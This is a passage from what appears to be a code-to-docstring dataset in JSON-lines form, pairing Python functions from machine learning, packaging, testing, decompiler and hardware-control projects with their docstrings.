the group type is None or cannot be found in the mapping, then thefallback behaviour is used."} {"code": "def _gather_instance_masks(self, instance_masks, classes):\n _, num_classes, height, width = instance_masks.get_shape().as_list()\n k = tf.shape(instance_masks)[0]\n instance_masks = tf.reshape(instance_masks, [-1, height, width])\n classes = tf.to_int32(tf.reshape(classes, [-1]))\n gather_idx = tf.range(k) * num_classes + classes\n return tf.gather(instance_masks, gather_idx)\n", "nl": "Gathers the masks that correspond to classes.Args:instance_masks: A 4-D float32 tensor with shape[K, num_classes, mask_height, mask_width].classes: A 2-D int32 tensor with shape [batch_size, max_detection].Returns:masks: a 3-D float32 tensor with shape [K, mask_height, mask_width]."} {"code": "def write_flow(flow, filename):\n f = open(filename, 'wb')\n magic = np.array([202021.25], dtype=np.float32)\n (height, width) = flow.shape[0:2]\n w = np.array([width], dtype=np.int32)\n h = np.array([height], dtype=np.int32)\n magic.tofile(f)\n w.tofile(f)\n h.tofile(f)\n flow.tofile(f)\n f.close()\n\n", "nl": "write optical flow in Middlebury .flo format:param flow: optical flow map:param filename: optical flow file path to be saved:return: None"} {"code": "def __init__(self, x, y):\n pass\n\n \"\"\")", "nl": "docstring foo constructorFor the parameters, see :func:`bla`"} {"code": "def test_readUnicode(self):\n with StringIO(u'\\x1e{\"currency\": \"\\u20ac\"}\\n') as fileHandle:\n events = eventsFromJSONLogFile(fileHandle)\n\n self.assertEqual(next(events), {u\"currency\": u\"\\u20ac\"})\n self.assertRaises(StopIteration, next, events)\n self.assertEqual(len(self.errorEvents), 0)\n\n", "nl": "If the file being read from vends L{unicode}, strings decode from JSONas-is."} {"code": "def fixup_namespace_packages(path_item, parent=None):\n\n subpath = os.path.join(path_item, packageName.split('.')[-1])\n normalized = _normalize_cached(subpath)\n for item in module.__path__:\n if _normalize_cached(item) == normalized:\n break\n else:\n return subpath\n\n\nregister_namespace_handler(pkgutil.ImpImporter, file_ns_handler)\nregister_namespace_handler(zipimport.zipimporter, file_ns_handler)\n\nif hasattr(importlib_machinery, 'FileFinder'):\n register_namespace_handler(importlib_machinery.FileFinder, file_ns_handler)\n\n", "nl": "Ensure that previously-declared namespace packages include path_item_imp.acquire_lock()try:for package in _namespace_packages.get(parent, ()):subpath = _handle_ns(package, path_item)if subpath:fixup_namespace_packages(subpath, package)finally:_imp.release_lock()def file_ns_handler(importer, path_item, packageName, module):Compute an ns-package subpath for a filesystem or zipfile importer"} {"code": "def serialize_model(model):\n\n full_model = tf.function(lambda x: model(x))\n full_model = full_model.get_concrete_function(\n tf.TensorSpec(model.inputs[0].shape, model.inputs[0].dtype)\n )\n\n frozen_func = convert_variables_to_constants_v2(full_model)", "nl": "Serialize a Keras or TensorFlow Graphto use a Keras or TensorFlow model in SmartSim, the modelmust be frozen and the inputs and outputs provided to thesmartredis.client.set_model() method.This utiliy function provides everything users need to takea trained model and put it inside an ``orchestrator`` instance.:param model: TensorFlow or Keras model:type model: tf.Module:return: serialized model, model input layer names, model output layer names:rtype: str, list[str], list[str]"} {"code": "def generate_random_parametrization(f):\n _, *params = inspect.signature(f).parameters.items()\n if any(not callable(v.annotation) for (p, v) in params):\n raise TypeError(\n f\"All parameters to {f.__name__} must be annotated with functions.\"\n )\n realization = {p: v.annotation() for (p, v) in params}\n return ft.partial(f, **realization)\n\n", "nl": "Return a realization of 'f' with parameters bound to random values.Parameters----------f : callableAll parameters but the first must be annotated with a callablethat, when called with no arguments, produces a value of theappropriate type for the parameter in question."} {"code": "def connect(inputs):\n\t\t\t\tassert len(inputs) == 1\n\n\t\t\t\tndim = len(inputs[0]['shape'])\n\t\t\t\tfunc = nn.Dropout if self.independent else {\n\t\t\t\t\t2 : nn.Dropout2d,\n\t\t\t\t\t3 : nn.Dropout3d\n\t\t\t\t}.get(ndim-1, nn.Dropout)\n\n\t\t\t\toutput = inputs[0]['layer']\n\n\t\t\t\tif func is not nn.Dropout:\n\t\t\t\t\toutput = model.data.add_operation(\n\t\t\t\t\t\tswap_channels.begin\n\t\t\t\t\t)(output)\n\n\t\t\t\toutput = model.data.add_layer(\n\t\t\t\t\tself.name,\n\t\t\t\t\tfunc(self.dropout)\n\t\t\t\t)(output)\n\n\t\t\t\tif func is not nn.Dropout:\n\t\t\t\t\toutput = model.data.add_operation(\n\t\t\t\t\t\tswap_channels.end\n\t\t\t\t\t)(output)\n\n\t\t\t\treturn {\n\t\t\t\t\t'shape' : self.shape([inputs[0]['shape']]),\n\t\t\t\t\t'layer' : output\n\t\t\t\t}\n\n\t\t\tyield connect\n\n\t\telse:\n\t\t\traise ValueError(\n\t\t\t\t'Unknown or unsupported backend: {}'.format(backend))\n", "nl": " Connects the layer"} {"code": "def flatten(*args):\n Calculates the CRC checksum for a file.\n Using CRC32 because security isn't the issue and don't need perfect noncollisions.\n We just need to know if a file has changed.\n\n On my machine, crc32 was 20 times faster than any hashlib algorithm,\n including blake and md5 algorithms.\n '''", "nl": "Generator that recursively flattens embedded lists, tuples, etc.for arg in args:if isinstance(arg, collections.Iterable) and not isinstance(arg, (str, bytes)):yield from flatten(*arg)else:yield argdef crc32(filename):"} {"code": "def test_mkdir_if_needed_when_dir_does_not_exist(self, mock_mkdirs):\n dir_path = 'blah'\n mock_mkdirs.side_effect = OSError(errno.EEXIST, 'Directory exists.')\n\n Utils.mkdir_if_needed(dir_path)\n\n mock_mkdirs.assert_called_with(dir_path)\n\n @mock.patch('os.makedirs')", "nl": " Test a valid invocation of API mkdir_if_needed when dir to be made does not exist # arrangedir_path = 'blah'# actUtils.mkdir_if_needed(dir_path)# assertmock_mkdirs.assert_called_with(dir_path)@mock.patch('os.makedirs')def test_mkdir_if_needed_when_dir_exists(self, mock_mkdirs): Test a valid invocation of API mkdir_if_needed when dir to be made already exists "} {"code": "def source_node(self):\n return self.source_item.node\n\n @property", "nl": "Returns the source node widget."} {"code": "def goa(filename, experimental=True, **kwds):", "nl": " read go-annotation file:param filename: protein or gene identifier column:param experimental: use only experimentally validated annotations"} {"code": "def is_string(string):\n return isinstance(string, (str, unicode))\n", "nl": "Utility method to test if the given parameter is a string(Python 2.x, 3.x) or a unicode (Python 2.x) object:param string: A potential string object:return: True if the given object is a string object or a Python 2.xunicode object"} {"code": "def save_img(save_path, img):\n\n if os.path.exists(save_path):\n save_path = save_path[:-4]\n save_path += '_new.png'\n cv2.imwrite(save_path, img)\n\n", "nl": "Saves an image to a specified file.Args:save_path (str): Name of the file.img (numpy.ndarray): Image to be saved."} {"code": "def p_empty(p):\n\n :type text: string\n :param text: command line to parse\n :rtype: titus.inspector.parser.Ast\n :return: parsed text as an abstract syntax tree\n \"\"\"", "nl": "rempty : def p_error(p):raise ParserError(self.text, self.lexer.lexpos)self.yacc = yacc.yacc(debug=False, write_tables=False)def parse(self, text):Parse the given text, returning an abstract syntax tree."} {"code": "def tearDown(self):\n self.db_tear_down()\n super(DocumentTests, self).tearDown()\n", "nl": "Reset test attributes"} {"code": "def test_model_train_and_decode(tmpdir, create_sine, make_wav, create_test_corpus):\n from persephone.corpus_reader import CorpusReader\n from persephone.rnn_ctc import Model\n from pathlib import Path\n corpus = create_test_corpus()\n\n base_directory = corpus.tgt_dir\n print(\"base_directory\", base_directory)\n\n corpus_r = CorpusReader(\n corpus,\n batch_size=1\n )\n assert corpus_r\n\n test_model = Model(\n base_directory,\n corpus_r,\n num_layers=3,\n hidden_size=50\n )\n assert test_model\n\n from unittest.mock import Mock\n\n mock_callback = Mock(return_value=None)\n\n test_model.train(\n early_stopping_steps=1,\n min_epochs=1,\n max_epochs=10,\n epoch_callback=mock_callback\n )\n\n assert mock_callback.call_count == 10", "nl": "Test that we can create a model, train it then decode something with itfrom persephone.corpus_reader import CorpusReaderfrom persephone.rnn_ctc import Modelfrom pathlib import Pathcorpus = create_test_corpus()# If it turns out that `tgt_dir` is not in the public interface of the Corpus# this test should change and get the base directory from the fixture that created it.base_directory = corpus.tgt_dirprint(\"base_directory\", base_directory)corpus_r = CorpusReader(corpus,batch_size=1)assert corpus_rtest_model = Model(base_directory,corpus_r,num_layers=3,hidden_size=100)assert test_modeltest_model.train(early_stopping_steps=1,min_epochs=1,max_epochs=10)from persephone.model import decodewav_dir = tmpdir.join(\"wav\")wav_to_decode_path = str(wav_dir.join(\"to_decode.wav\"))sine_to_decode = create_sine(note=\"C\")make_wav(sine_to_decode, wav_to_decode_path)model_checkpoint_path = base_directory / \"model\" / \"model_best.ckpt\"decode(model_checkpoint_path,[Path(wav_to_decode_path)],label_set = {\"A\", \"B\", \"C\"},feature_type = \"fbank\",batch_x_name = test_model.batch_x.name,batch_x_lens_name = test_model.batch_x_lens.name,output_name = test_model.dense_decoded.name)# TODO Fix this test so that we confirm decent decoding outputdef test_model_train_callback(tmpdir, create_sine, make_wav, create_test_corpus):Test that we can create a model, train it then get our callback called on each epoch of training"} {"code": "def minibatch_mean_stddev(x):\n mean = tf.reduce_mean(x, 0, keepdims=True)\n vals = tf.sqrt(tf.reduce_mean(tf.squared_difference(x, mean), 0) + 1e-8)\n vals = tf.reduce_mean(vals)\n return vals\n\n", "nl": "Computes the standard deviation average.This is used by the discriminator as a form of batch discrimination.Args:x: nD tensor for which to compute standard deviation average.Returns:a scalar, the mean standard deviation of variable x."} {"code": "def fold_divmod(original_expr: BinaryOp) -> BinaryOp:\n mult_high_ops = (\"MULT_HI\", \"MULTU_HI\")\n possible_match_ops = mult_high_ops + (\"-\", \"+\", \">>\")\n\n if original_expr.is_floating() or original_expr.op not in possible_match_ops:\n return original_expr\n\n expr = original_expr\n left_expr = early_unwrap_ints(expr.left)\n right_expr = early_unwrap_ints(expr.right)\n divisor_shift = 0\n\n if (\n isinstance(left_expr, BinaryOp)\n and left_expr.op == \">>\"\n and isinstance(left_expr.right, Literal)\n and expr.op == \"+\"\n and isinstance(right_expr, CarryBit)\n ):\n new_denom = 1 << left_expr.right.value\n return BinaryOp.sint(\n left=left_expr.left,\n op=\"/\",\n right=Literal(new_denom),\n silent=True,\n )\n\n if (\n isinstance(left_expr, BinaryOp)\n and left_expr.op == \"/\"\n and isinstance(left_expr.right, Literal)\n and expr.op == \">>\"\n and isinstance(right_expr, Literal)\n ):\n new_denom = left_expr.right.value << right_expr.value\n if new_denom < (1 << 32):\n return BinaryOp.int(\n left=left_expr.left,\n op=\"/\",\n right=Literal(new_denom),\n )\n\n if expr.op == \"-\" and isinstance(right_expr, BinaryOp) and right_expr.op == \"*\":\n div_expr = early_unwrap_ints(right_expr.left)\n mod_base = early_unwrap_ints(right_expr.right)\n if (\n isinstance(div_expr, BinaryOp)\n and early_unwrap_ints(div_expr.left) == left_expr\n ):\n divisor = early_unwrap_ints(div_expr.right)\n if (div_expr.op == \"/\" and divisor == mod_base) or (\n div_expr.op == \">>\"\n and isinstance(divisor, Literal)\n and isinstance(mod_base, Literal)\n and (1 << divisor.value) == mod_base.value\n ):\n return BinaryOp.int(left=left_expr, op=\"%\", right=right_expr.right)\n\n if (\n expr.op == \"-\"\n and isinstance(left_expr, BinaryOp)\n and left_expr.op == \">>\"\n and early_unwrap_ints(left_expr.right) == Literal(31)\n and isinstance(right_expr, BinaryOp)\n and right_expr.op == \"/\"\n and isinstance(right_expr.right, Literal)\n ):\n left_expr, right_expr = (\n replace(right_expr, right=Literal(-right_expr.right.value)),\n left_expr,\n )\n\n if (\n expr.op == \"+\"\n and isinstance(left_expr, BinaryOp)\n and left_expr.op == \"/\"\n and isinstance(left_expr.right, Literal)\n and left_expr.right.value <= (1 << 29)\n and isinstance(right_expr, BinaryOp)\n and early_unwrap_ints(right_expr.left) == left_expr\n and right_expr.op == \">>\"\n and early_unwrap_ints(right_expr.right) == Literal(31)\n ):\n return left_expr\n\n if (\n expr.op == \"-\"\n and isinstance(left_expr, BinaryOp)\n and left_expr.op == \"/\"\n and isinstance(left_expr.right, Literal)\n and isinstance(right_expr, BinaryOp)\n and right_expr.op == \">>\"\n and early_unwrap_ints(right_expr.right) == Literal(31)\n ):\n div_expr = left_expr\n shift_var_expr = early_unwrap_ints(right_expr.left)\n div_var_expr = early_unwrap_ints(div_expr.left)\n if div_var_expr == shift_var_expr:\n if isinstance(div_expr.right, Literal) and div_expr.right.value >= (\n 1 << 30\n ):\n return BinaryOp.int(\n left=div_expr.left,\n op=div_expr.op,\n right=div_expr.right,\n )\n return div_expr\n if (\n isinstance(shift_var_expr, BinaryOp)\n and early_unwrap_ints(div_expr.left)\n == early_unwrap_ints(shift_var_expr.left)\n and shift_var_expr.op == \"<<\"\n and isinstance(shift_var_expr.right, Literal)\n ):\n return div_expr\n\n if (\n isinstance(left_expr, BinaryOp)\n and expr.op == \">>\"\n and isinstance(right_expr, Literal)\n ):\n divisor_shift += right_expr.value\n expr = left_expr\n left_expr = early_unwrap_ints(expr.left)\n right_expr = early_unwrap_ints(expr.right)\n if isinstance(left_expr, Literal) and not isinstance(right_expr, Literal):\n left_expr, right_expr = right_expr, left_expr\n\n if (\n isinstance(left_expr, BinaryOp)\n and left_expr.op == \"MULT_HI\"\n and expr.op == \"+\"\n and early_unwrap_ints(left_expr.left) == right_expr\n ):\n expr = left_expr\n left_expr = early_unwrap_ints(expr.left)\n right_expr = early_unwrap_ints(expr.right)\n\n if (\n expr.op in mult_high_ops\n and isinstance(left_expr, BinaryOp)\n and left_expr.op == \">>\"\n and isinstance(left_expr.right, Literal)\n ):\n divisor_shift += left_expr.right.value\n left_expr = early_unwrap_ints(left_expr.left)\n", "nl": "Return a new BinaryOp instance if this one can be simplified to a single / or % op.This involves simplifying expressions using MULT_HI, MULTU_HI, +, -, <<, >>, and /.In GCC 2.7.2, the code that generates these instructions is in expmed.c.See also https://ridiculousfish.com/blog/posts/labor-of-division-episode-i.htmlfor a modern writeup of a similar algorithm.This optimization is also used by MWCC and modern compilers (but not IDO)."} {"code": "def load(self, reload=False):\n config = get_config()\n self.naming_scripts = config.setting[self.SCRIPTS_LIST_KEY]\n self.selected_script_id = config.setting[self.SELECTED_SCRIPT_KEY]\n if not self.selected_script_id or self.selected_script_id not in self.naming_scripts:\n self.selected_script_id = DEFAULT_NAMING_PRESET_ID\n self.last_selected_id = self.selected_script_id\n if not reload:\n self.examples.settings = config.setting\n self.original_script_id = self.selected_script_id\n self.original_script_title = self.all_scripts()[self.original_script_id]['title']\n if self.is_options_ui():\n selector = self.parent().ui.naming_script_selector\n idx = selector.currentIndex()\n sel_id = selector.itemData(idx)['id']\n if sel_id in self.all_scripts():\n self.selected_script_id = sel_id\n self.selected_script_index = 0\n self.populate_script_selector()\n if not self.loading:\n self.select_script()\n", "nl": "Load initial configuration."} {"code": "def add_node(self, doSecurity=False):\n if self._lock_controller():\n logger.debug(u'Send controller command : %s, : secure : %s', 'add_node', doSecurity)\n return self._network.manager.addNode(self.home_id, doSecurity)\n else:\n logger.warning(u\"Can't lock controller for command : %s\", 'add_node')\n return False\n", "nl": "Start the Inclusion Process to add a Node to the Network.The Status of the Node Inclusion is communicated via Notifications. Specifically, you shouldmonitor ControllerCommand Notifications.Results of the AddNode Command will be send as a Notification with the Notification type asNotification::Type_ControllerCommand:param doSecurity: Whether to initialize the Network Key on the device if it supports the Security CC:type doSecurity: bool:return: True if the request was sent successfully.:rtype: bool"} {"code": "def do_transformation(self):\n input_node_map, _, node_name_list = self.parse_input_graph(\n self.input_graph)\n fuse_op_name = self.get_fuse_index(input_node_map, node_name_list)\n return self.generate_output_graph(self.input_graph, input_node_map,\n fuse_op_name)", "nl": "Execute the Conv2D/DepthwiseConv2dNative/Matmul + Mul fusion.:return: Transformed graph"} {"code": "def dist_in_site_packages(dist):\n return normalize_path(\n dist_location(dist)\n ).startswith(normalize_path(site_packages))\n\n", "nl": "Return True if given Distribution is installed insysconfig.get_python_lib()."} {"code": "def saveToFile(self, filename):\n\t\tf = file(filename, \"wb\")\n\t\tpickle.dump(self.s_snapdict, f)\n\t\tf.close()\n", "nl": "Save a snapshot to file for later reading in..."} {"code": "def ENgetlinktype(index):\n j= ctypes.c_int()\n ierr= _lib.ENgetlinktype(index, ctypes.byref(j))\n if ierr!=0: raise ENtoolkitError(ierr)\n return j.value\n\n", "nl": "Retrieves the link-type code for a specific link.Arguments:index: link index"} {"code": "def move_to_focus_position(self, focus_position):\n if focus_position is None:\n WidgetEventReactor.focus_order.remove(self)\n return\n WidgetEventReactor.move_to_focus_position(self, focus_position)\n", "nl": "Set the 'tab-stop' order of this widget. (html equivalent \"tab-index\")if focus_position is None, the widget is changed to be unreachable by "} {"code": "def body(self):\n return self.jira_issue.fields.assignee\n\n @assignee.setter", "nl": "The issue body.return self.jira_issue.fields.description@body.setterdef body(self, new_body):self.jira_issue.fields.description = new_body@propertydef assignee(self):The issue assignee."} {"code": "def tokens_to_features_dict(tokens, name_prefix):\n doc_processor = DocumentProcessor(FLAGS.vocab_path, FLAGS.do_lower_case)\n for doc_idx, json_serialized in load_json_data(FLAGS.input_path):\n yield doc_processor((doc_idx, json_serialized))\n if doc_idx >= FLAGS.total_documents:\n raise ValueError('Got more documents than expected.')\n\n", "nl": "Converts a list of Tokens into a dict of TF Features.as_tuples = [(t.text.encode(), t.start, t.stop, t.id) for t in tokens]features_dict = {}for i, (name_suffix, feature_type) in enumerate([('texts', bytes_feature),('starts', int_feature),('stops', int_feature),('ids', int_feature)]):feature_name = '{}_token_{}'.format(name_prefix, name_suffix)features_dict[feature_name] = feature_type([x[i] for x in as_tuples])return features_dictdef bytes_feature(values):return tf.train.Feature(bytes_list=tf.train.BytesList(value=values))def int_feature(values):return tf.train.Feature(int64_list=tf.train.Int64List(value=values))def load_json_data(input_path):with tf.gfile.Open(input_path) as input_file:for doc_idx, json_serialized in enumerate(input_file):yield doc_idx, json_serializedif doc_idx >= FLAGS.total_documents:raise ValueError('Got more documents than expected.')def generate_examples():Generates serialized TF Examples."} {"code": "def test_server_blackout_cleared(self):\n event = events.ServerBlackoutClearedTraceEvent(\n timestamp=3,\n source='tests',\n servername='test.xx.com',\n payload={'foo': 'bar'}\n )\n self.assertEqual(\n event.to_dict(),\n {\n 'event_type': 'server_blackout_cleared',\n 'timestamp': 3,\n 'source': 'tests',\n 'servername': 'test.xx.com',\n 'payload': {'foo': 'bar'},\n }\n )\n self.assertEqual(\n event.to_data(),\n (\n 3,\n 'tests',\n 'test.xx.com',\n 'server_blackout_cleared',\n '',\n {'foo': 'bar'},\n )\n )\n self.assertEqual(\n event,\n events.ServerBlackoutClearedTraceEvent.from_data(\n timestamp=3,\n source='tests',\n servername='test.xx.com',\n event_type='server_blackout_cleared',\n event_data='not used',\n payload={'foo': 'bar'}\n )\n )\n\n\nif __name__ == '__main__':\n unittest.main()", "nl": "ServerBlackoutCleared event operations."} {"code": "def fidelity(self, other_state, mode, **kwargs):\n rho = self.reduced_dm([mode])\n\n if not self.batched:\n rho = tf.expand_dims(rho, 0)\n if len(other_state.shape) == 1:\n other_state = tf.expand_dims(other_state, 0)\n\n other_state = tf.cast(other_state, self.dtype)\n state_dm = tf.einsum(\"bi,bj->bij\", tf.math.conj(other_state), other_state)\n flat_state_dm = tf.reshape(state_dm, [1, -1])\n flat_rho = tf.reshape(rho, [-1, self.cutoff_dim**2])\n\n f = tf.math.real(\n tf.reduce_sum(flat_rho * flat_state_dm, axis=1)\n )\n\n if not self.batched:\n f = tf.squeeze(f, 0)\n\n f = tf.identity(f, name=\"fidelity\")\n\n return f\n", "nl": "rCompute the fidelity of the reduced state (on the specified mode) with the state. May be numerical or symbolic.Args:other_state (array): state vector (ket) to compute the fidelity with respect tomode (int): which subsystem to use for the fidelity computationReturns:float/Tensor: the numerical value, or an unevaluated Tensor object, for the fidelity."} {"code": "def start(self, interval=None):\n if interval is not None:\n self._set_interval(interval)\n self._timer_start()\n", "nl": "Start the timer object.Parameters----------interval : int, optionalTimer interval in milliseconds; overrides a previously set intervalif provided."} {"code": "def connect(self, connect_timeout=None):\n timeout = connect_timeout or self._timeout\n", "nl": "Connect to the NETCONF servero To disable attempting publickey authentication altogether, call withallow_agent and look_for_keys as False.o hostkey_verify enables hostkey verification from ~/.ssh/known_hosts:return: (deferred) Deferred request"} {"code": "def scale_reader(provision_increase_scale, current_value):\n\n scale_value = 0\n if provision_increase_scale:\n for limits in sorted(provision_increase_scale.keys()):\n if current_value < limits:\n return scale_value\n else:\n scale_value = provision_increase_scale.get(limits)\n return scale_value\n else:\n return scale_value\n\n", "nl": ":type provision_increase_scale: dict:param provision_increase_scale: dictionary with key being thescaling threshold and value being scaling amount:type current_value: float:param current_value: the current consumed units or throttled events:returns: (int) The amount to scale provisioning by"} {"code": "def ttSparseALS(cooP, shape, x0=None, ttRank=1, tol=1e-5, maxnsweeps=20, verbose=True, alpha=1e-2):\n indices = cooP['indices']\n values = cooP['values']\n\n [P, d] = indices.shape\n assert P == len(values)\n\n timeVal = time.clock()\n if x0 is None:\n x = tt.rand(shape, r = ttRank)\n x = x.round(0.)\n x = (1./x.norm())*x\n else:\n x = copy.deepcopy(x0)\n assert d == x.d\n normP = np.linalg.norm(values)\n values /= normP\n fitList = []\n sweepTimeList = []\n initTime = time.clock() - timeVal\n\n timeVal = time.clock()\n coreList = tt.vector.to_list(x)\n\n if verbose:\n print(\"Initialization time: %.3f seconds (proc.time)\" % (initTime))\n\n for sweep in xrange(maxnsweeps):\n sweepStart = time.clock()\n [kStart, kEnd, kStep] = [0, d, 1]\n '''\n for k in xrange(kStart, kEnd, kStep):\n [r1, n, r2] = coreList[k].shape\n core = np.zeros([r1, n, r2])\n leftU = []\n rightV = []\n if k > 0:\n leftU = coreList[:k]\n if k < d-1:\n rightV = coreList[k+1:]\n for i in xrange(n):\n thetaI = np.where(indices[:, k] == i)[0]\n if len(thetaI) > 0:\n A = np.zeros([len(thetaI), r1*r2])\n for j in xrange(len(thetaI)):\n tmp = getRow(leftU, rightV, indices[thetaI[j], :])\n A[j:j+1, :] += tmp\n vecCoreSlice, _, _, _ = np.linalg.lstsq(A, values[thetaI])\n core[:, i, :] += reshape(vecCoreSlice, [r1, r2])\n '''\n coreList[k] = core.copy()\n '''\n\n xNew = tt.vector.from_list(coreList)\n fit = computeFunctional(xNew, cooP)\n fitList.append(fit)\n if fit < tol:\n break\n if sweep > 0:\n if abs(fit - fitList[-2]) < tol:\n break\n sweepTimeList.append(time.clock() - sweepStart)\n if verbose:\n print(\"sweep %d/%d\\t fit value: %.5e\\t time: %.3f seconds (proc.time)\" % (sweep+1, maxnsweeps, fit, sweepTimeList[-1]))\n if verbose:\n print(\"Total sweep time: %.3f seconds (proc.time)\\t Total time: %.3f seconds (proc.time)\" % (sum(sweepTimeList), sum(sweepTimeList) + initTime))\n info = {'fit': fitList, 'initTime': initTime, 'sweepTime': sweepTimeList}\n xNew *= normP\n values *= normP\n\n return xNew, info", "nl": "TT completion via Alternating Least Squares algorithm.Parameters::dict: cooPdictionary with two records- 'indices': numpy.array of P x d shape,contains index subspace of P known elements;each string is an index of one element.- 'values': numpy array of size P,contains P known values.:list, numpy.array: shapefull-format shape of tensor to be completed [dimensions]:tt.vector: x0 = Noneinitial approximation of completed tensorIf it is specified, parameters 'shape' and 'ttRank' will be ignored:int, numpy.array: ttRank = 1assumed rank of completed tensor:float: tol = 1e-5tolerance for functional value:int: maxnsweeps = 20maximal number of sweeps [sequential optimization of all d coresin right or left direction]:boolean: verbose = Trueswitcher of messages from function:float: alpha: = 1e-2regularizer of least squares problem for each slice of current TT core.[rcond parameter for np.linalg.lstsq]Returns::tt.vector: xNewcompleted TT vector:list: fitlist of functional values at each sweep"} {"code": "def _set_lines(self, file_path):\n try:\n fp = open(file_path, \"r+\")\n self.lines = fp.readlines()\n fp.close()\n except (IOError, OSError) as e:\n raise ParameterWriterError(file_path) from e\n", "nl": "Set the lines for the modelwrtter to iterate over:param file_path: path to the newly created and tagged file:type file_path: str:raises ParameterWriterError: if the newly created file cannot be read"} {"code": "def process_incoming(self, msg):\n from rapidsms.router import send\n continue_processing = self.process_incoming_phases(msg)\n if continue_processing:\n for msg_context in msg.responses:\n send(**msg_context)\n", "nl": "Process message through incoming phases and pass any generatedresponses to :func:`send `. Called by``receive_incoming``.:param msg: :class:`IncomingMessage ` object"} {"code": "def parse_name_and_version(p):\n m = NAME_VERSION_RE.match(p)\n if not m:\n raise DistlibException('Ill-formed name/version string: \\'%s\\'' % p)\n d = m.groupdict()\n return d['name'].strip().lower(), d['ver']\n", "nl": "A utility method used to get name and version from a string.From e.g. a Provides-Dist value.:param p: A value in a form 'foo (1.0)':return: The name and version as a tuple."} {"code": "def stagnation(self, fitness, repeat):\n if (np.min(fitness), np.max(fitness)) != self.previous:\n self.previous = (np.min(fitness), np.max(fitness))\n self.count = 0\n else:\n self.count += 1\n\n if self.count > repeat:\n return True\n\n return False", "nl": "Convergence based on a stagnation of the population.Parameters----------fitness : arrayA List of fitnesses from the search.repeat : intNumber of repeat generations with no progress.Returns-------converged : boolTrue if convergence has been reached, False otherwise."} {"code": "def flipflop_bwd(scores):\n index = scores.device.index\n T, N, S = scores.shape\n nbase = flipflopfings.nbase_flipflop(S)\n\n bwd = torch.zeros(\n (T + 1, N, 2 * nbase), dtype=scores.dtype, device=scores.device)\n fact = torch.zeros((T + 1, N, 1), dtype=scores.dtype, device=scores.device)\n with cp.cuda.Device(index):\n _flipflop_bwd(grid=(N, 1, 1), block=(2 * nbase, 1, 1),\n args=(scores.contiguous().data_ptr(), bwd.data_ptr(),\n fact.data_ptr(), T, N, nbase))\n return bwd, fact\n\n\n_flipflop_make_trans = cp.RawKernel(r'''\n\n", "nl": " Backward calculation for flipflop transitions from raw network outputThe backward matrix entries are:bwd[t, s] = logsumexp(scores of paths starting in state s at time t)Paths can end in any state at time T.For numerical reasons, we calculate a row-normalised backward matrixand a vector of scaling factors:bwd'[t, s] = bwd[t, s] - logsumexp(bwd[t, s])fact[t] = logsumexp(bwd[t, s]) - logsumexp(bwd[t + 1, s])Args:scores: a [T, B, S] tensor containing a batch of B scores matriceseach with T blocks and S flipflop transitions scores, whereS = 2 * nbase * (nbase + 1)Returns:(bwd, fact) tensors of shape [T + 1, N, 2 * nbase] and [T + 1, B, 1]"} {"code": "def run_each(self, edit, sel_region):\n self.replace_quotes(regions[\"end\"], replacement)\n self.escape_unescape(regions[\"inner\"], quote, replacement)\n self.replace_quotes(regions[\"start\"], replacement)\n", "nl": "Run the command for each selection region.cursor = sel_region.begin()self.apply_scope(cursor)region = self.expand_region(sel_region)if not region:returnif self.custom:fn_name = self.custom[0]try:fn = getattr(self, fn_name)except AttributeError:returntry:fn_kwargs = self.custom[1]if not isinstance(fn_kwargs, dict):fn_kwargs = {}except IndexError:fn_kwargs = {}if fn(region, **fn_kwargs) != 'next':returntext = self.view.substr(region)regex_tuples = self.build_regex_tuples()match_data, quote_list = self.find_best_match(text, regex_tuples)if not match_data:returnquote = match_data.group(1)replacement = self.replacement(quote, quote_list)regions = self.build_regions(region,text,match_data,quote,replacement)# Edge case in which there is no closing quoteif regions[\"start\"].contains(regions[\"end\"]):return# Altering the region lengths (e.g. replacing ' with ) will cause"} {"code": "def test_b64s_encode(self):\n\n engine = None\n\n encoded_data = None\n\n encoded_ints = None\n\n bad_byte = b\"?\"\n", "nl": "b64s_encode()from freenet_passlib_170.utils.binary import b64s_encode# accept bytesself.assertEqual(b64s_encode(hb(\"69b7\")), b\"abc\")# reject unicodeself.assertRaises(TypeError if PY3 else UnicodeEncodeError,b64s_encode, hb(\"69b7\").decode(\"latin-1\"))# insert correct padding before decodingself.assertEqual(b64s_encode(hb(\"69b71d\")), b\"abcd\") # 0 mod 4self.assertEqual(b64s_encode(hb(\"69b71d79\")), b\"abcdeQ\") # 2 mod 4self.assertEqual(b64s_encode(hb(\"69b71d79f8\")), b\"abcdefg\") # 3 mod 4# output \"+/\" altcharsself.assertEqual(b64s_encode(hb(\"69bfbf\")), b\"ab+/\")class _Base64Test(TestCase):common tests for all Base64Engine instances"} {"code": "def _update_version_data(self, result, info):\n name = info.pop('name')\n version = info.pop('version')\n if version in result:\n dist = result[version]\n md = dist.metadata\n else:\n dist = make_dist(name, version, scheme=self.scheme)\n md = dist.metadata\n dist.digest = digest = self._get_digest(info)\n url = info['url']\n result['digests'][url] = digest\n if md.source_url != info['url']:\n md.source_url = self.prefer_url(md.source_url, url)", "nl": "Update a result dictionary (the final result from _get_project) with adictionary for a specific version, which typically holds informationgleaned from a filename or URL for an archive for the distribution."} {"code": "def avg(self):\n return sum(self.times)\n", "nl": "Return the average time.return sum(self.times) / len(self.times)def sum(self):Return the sum of time."} {"code": "def get_coin_list(self):\n :raises: KucoinResponseException, KucoinAPIException\n \"\"\"", "nl": "Get a list of coins with trade and withdrawal informationreturn self._get('market/open/coins')# User API Endpointsdef create_api_key(self):Create a new API Key"} {"code": "def _parse_go_time(self, s):\n if not s:\n return None\n t = datetime.datetime.strptime(s[:-1].split('.')[0],\n '%Y-%m-%dT%H:%M:%S')\n return t if t.year > 1 else None\n", "nl": "Parse a time string found in the container status into a Pythondatetime object.Docker uses Go's Time.String() method to convert a UTC timestamp into astring, but that representation isn't directly parsable from Python asit includes nanoseconds: http://golang.org/pkg/time/#Time.StringWe don't really care about sub-second precision here anyway, so westrip it out and parse the datetime up to the second.Args:s (string): the time string from the container inspectiondictionary.Returns: The corresponding Python datetime.datetime object, or None ifthe time string clearly represented a non-initialized time (whichseems to be 0001-01-01T00:00:00Z in Go)."} {"code": "def _generate_overlap_table(prefix):\n table = [0] * len(prefix)\n for i in range(1, len(prefix)):\n idx = table[i - 1]\n while prefix[i] != prefix[idx]:\n if idx == 0:\n table[i] = 0\n break\n idx = table[idx - 1]\n else:\n table[i] = idx + 1\n return table\n", "nl": "Generate an overlap table for the following prefix.An overlap table is a table of the same size as the prefix whichinforms about the potential self-overlap for each index in the prefix:- if overlap[i] == 0, prefix[i:] can't 